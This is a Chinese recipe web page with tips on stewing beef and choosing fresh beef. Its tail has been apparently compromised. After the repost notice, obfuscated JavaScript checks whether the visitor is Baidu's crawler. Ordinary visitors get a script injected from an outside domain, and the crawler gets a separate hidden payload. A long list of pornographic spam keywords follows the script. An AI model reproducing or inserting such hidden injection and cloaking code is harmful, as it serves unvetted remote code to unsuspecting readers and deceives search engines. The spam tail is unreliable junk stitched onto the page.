當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

冬天吃燉肉?燉牛肉有竅門!

2016-01-08 19:20:49  來源:360常識網(wǎng)   熱度:
導(dǎo)語:牛肉含有豐富的蛋白質(zhì),氨基酸。中醫(yī)食療認(rèn)為:寒冬食牛肉,有暖胃作用,為寒冬補益佳品。你知道如何才能讓燉牛肉更加好吃嗎?

冬天吃燉肉?燉牛肉有竅門!

冬天吃燉肉?燉牛肉有竅門!

冬天吃燉肉可以補充所需要的各種營養(yǎng),而燉牛肉受到了很多人的喜愛。你知道如何才能讓燉牛肉更加好吃嗎?今天,就來教大家?guī)渍校纯丛鯓訜跖H獠攀亲詈贸缘模f別錯過了。

牛肉的營養(yǎng)價值

牛肉含有豐富的蛋白質(zhì),氨基酸。其組成比豬肉更接近人體需要,能提高機體抗病能力,對生長發(fā)育及手術(shù)后、病后調(diào)養(yǎng) 的人在補充失血和修復(fù)組織等方面特別適宜。

中醫(yī)食療認(rèn)為:寒冬食牛肉,有暖胃作用,為寒冬補益佳品。中醫(yī)認(rèn)為:牛肉有補中益氣、滋養(yǎng)脾胃、強健筋骨、化痰息風(fēng)、止渴止涎的功能。適用于中氣下陷、氣短體虛,筋骨酸軟和貧血久病及面黃目眩之人食用。

教你怎樣燉牛肉

冷水入鍋。牛肉要用冷水來煮,等水開之后,涼的牛肉碰到熱水,肉會更易爛,口感更佳。

與茶一起燉。將少量茶葉用紗布包好,放入鍋中與牛肉同燉煮,肉不僅熟得快,而且味道清香。

加酒或者醋。燉牛肉加些酒或醋(按1公斤牛肉放2~3湯匙酒或1~2湯匙醋的比例)燉牛肉,這兩個東西都是可以軟化肉質(zhì)的,遇上不容易燉爛的肉,一般都需要加一些。

加山楂或蘿卜。加一些山楂或者蘿卜,可以使牛肉熟得更快,而且去除異味。

那么,選購牛肉有什么竅門呢?

牛肉的選購竅門

聞,新鮮肉具有正常的氣味,較次的肉有一股氨味或酸味。

摸,一是要摸彈性,新鮮肉有彈性,指壓后凹陷立即恢復(fù),次品肉彈性差,指壓后的凹陷恢復(fù)很慢甚至不能恢復(fù),變質(zhì)肉無彈性;二要摸黏度,新鮮肉表面微干或微濕潤,不粘手,次新鮮肉外表干燥或粘手,新切面濕潤粘手,變質(zhì)肉嚴(yán)重粘手,外表極干燥,但有些注水嚴(yán)重的肉也完全不粘手,但可見到外表呈水濕樣,不結(jié)實。

看,看肉皮有無紅點,無紅點是好肉,有紅點者是壞肉;看肌肉,新鮮肉有光澤,紅色均勻,較次的肉,肉色稍暗;看脂肪,新鮮肉的脂肪潔白或淡黃色,次品肉的脂肪缺乏光澤,變質(zhì)肉脂肪呈綠色。

牛肉的吃法有很多,燉牛肉時別忘了以上幾點哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲AV无码精品蜜桃| 一级做a爰黑人又硬又粗免费看51社区国产精品视 | 久久久国产乱子伦精品| 精品国产综合成人亚洲区| 99国产精品欧美一区二区三区| 国产精品亚洲片在线| 国产91精品新入口| 国产精品大bbwbbwbbw| 青青久久精品国产免费看| 九九99精品久久久久久| 偷拍精品视频一区二区三区| 99久久国产亚洲综合精品| 久久永久免费人妻精品| 精品一区二区无码AV| 精品国产自在久久| 国产精品久久国产精品99盘| 国产成人久久精品激情| 国产精品无码一区二区在线观一| 精品久久久久国产免费| 在线精品亚洲一区二区三区| 国产69精品久久久久777| 国语自产拍精品香蕉在线播放| 成人午夜精品网站在线观看| 久久人午夜亚洲精品无码区| 精品999久久久久久中文字幕 | 人妻AV一区二区三区精品| 国产精品成人99一区无码| 中文字幕国产精品| 精品综合久久久久久888蜜芽| 亚洲国产精品一区二区三区久久 | 国产精品视频1区| 国产精品久久新婚兰兰| 精品无码一区二区三区爱欲 | 国产精品亚洲综合久久| 2021国产精品自拍| 国产乱子伦精品无码专区| 国产私拍福利精品视频| 国产精品久久久久久久久久免费| 99在线精品免费视频九九视| 中文字幕亚洲精品资源网| 99精品久久久中文字幕|